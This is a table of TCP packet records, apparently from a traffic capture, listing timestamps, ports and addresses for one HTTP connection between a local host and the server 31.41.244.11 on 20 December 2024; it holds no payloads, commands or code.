Dec 20, 2024 04:12:20.067611933 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.067642927 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.068615913 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.068794966 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.068840981 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.069766045 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.069781065 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.069824934 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.070816994 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.070858955 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.070960999 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.071877003 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.071927071 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.072022915 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.072961092 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.073002100 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.073143005 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.073189020 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.074075937 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.074219942 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.074264050 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.075122118 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.075283051 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.075325966 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.076319933 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.076334000 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.076349974 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.076359987 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.076374054 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.076381922 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.076404095 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.077189922 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.077334881 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.077378035 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.078299046 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.078417063 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.078469038 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.079380989 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.079422951 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.079538107 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.079864979 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.080490112 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.080533981 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.080610991 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.080668926 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.081581116 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.081625938 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.081682920 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.081723928 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.082670927 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.082716942 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.082770109 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.082812071 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.083764076 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.083810091 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.083878994 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.083921909 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.084881067 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.084924936 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.084973097 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.085026979 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.085978031 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.086021900 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.086081982 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.086126089 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.087069988 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.087115049 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.087169886 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.087214947 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.088181973 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.088228941 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.088349104 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.088390112 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.089281082 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.089327097 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.089406013 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.089448929 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.090423107 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.090464115 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.090487003 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.090534925 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.091471910 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.091519117 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.091582060 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.091695070 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.092576981 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.092626095 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.092693090 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.092736006 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.093666077 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.093709946 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.093780994 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.093822002 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.094753981 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.094799995 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.229033947 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.229094028 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.229156971 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.229221106 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.229578018 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.229621887 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.229748011 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.229792118 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.230698109 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.230742931 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.230823040 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.230865002 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.231794119 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.231849909 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.231882095 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.231925011 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.232892036 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.232939005 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.232961893 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.233002901 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.233998060 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.234041929 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.234097958 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.234138966 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.235100031 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.235143900 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.235207081 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.235250950 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.236205101 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.236249924 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.236296892 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.236341000 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.237313986 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.237364054 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.237410069 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.237459898 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.238396883 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.238441944 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.238508940 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.238550901 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.239505053 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.239552021 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.239612103 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.239672899 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.240597010 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.240641117 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.240714073 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.240756035 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.241740942 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.241790056 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.241852999 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.241899967 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.242819071 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.242863894 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.242913008 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.242958069 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.243916035 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.243961096 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.244004011 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.244045019 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.245044947 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.245089054 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.245146990 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.245193958 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.246119976 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.246165037 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.246217966 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.246262074 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.247220993 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.247266054 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.247334957 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.247632027 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.248322010 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.248374939 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.248436928 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.248481989 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.249425888 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.249471903 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.249555111 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.249598980 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.250545025 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.250593901 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.250642061 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.250684977 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.251621962 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.251667023 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.251723051 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.251765013 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.252717972 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.252762079 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.252850056 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.252893925 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.253825903 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.253878117 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.253951073 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.253998995 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.254928112 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.254973888 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.255029917 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.255075932 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.256038904 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.256087065 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.256124020 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.256236076 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.257136106 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.257183075 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.257260084 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.257302999 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.258253098 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.258296967 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.258363008 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.258404970 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.259334087 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.259380102 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.259494066 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.259536982 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.260451078 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.260497093 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.260546923 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.260591030 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.261542082 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.261586905 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.261687040 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.261730909 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.262671947 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.262718916 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.262748003 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.262789965 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.263746977 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.263789892 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.263838053 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.263881922 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.264847040 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.264894009 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.264941931 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.264990091 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.265963078 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.266011000 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.266036034 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.266077042 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.267052889 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.267098904 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.267163038 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.267221928 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.268172026 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.268218040 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.268280029 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.268326998 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.269274950 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.269324064 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.269377947 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.269419909 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.270370007 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.270417929 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.270495892 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.270544052 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.271455050 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.271500111 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.271557093 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.271600962 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.272557020 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.272600889 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.272663116 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.272706032 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.273662090 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.273716927 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.273750067 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.273793936 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.274768114 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.274811983 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.274889946 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.274934053 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.275876999 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.275921106 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.275999069 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.276041031 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.277009010 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.277055025 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.277108908 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.277157068 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.278063059 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.278107882 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.278182983 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.278244972 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.279160023 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.279221058 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.279267073 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.280303955 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.280355930 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.280433893 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.280478954 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.281378031 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.281425953 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.281470060 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.281512976 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.282461882 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.282509089 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.282563925 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.282608986 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.283569098 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.283627033 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.283667088 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.283721924 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.284671068 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.284717083 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.284780979 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.284823895 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.285788059 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.285832882 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.285893917 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.285936117 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.286839962 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.286887884 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.421058893 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.421138048 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.421333075 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.421396971 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.421569109 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.421612024 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.421670914 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.421710014 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.422408104 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.422455072 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.422523022 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.422565937 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.423515081 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.423563957 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.423597097 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.423635960 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.424628973 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.424680948 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.424722910 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.424854040 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.425723076 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.425772905 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.425796986 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.425839901 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.426866055 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.426911116 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.426981926 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.427022934 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.431090117 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.431104898 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.431121111 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.431133032 CET	49783	80	192.168.2.4	31.41.244.11
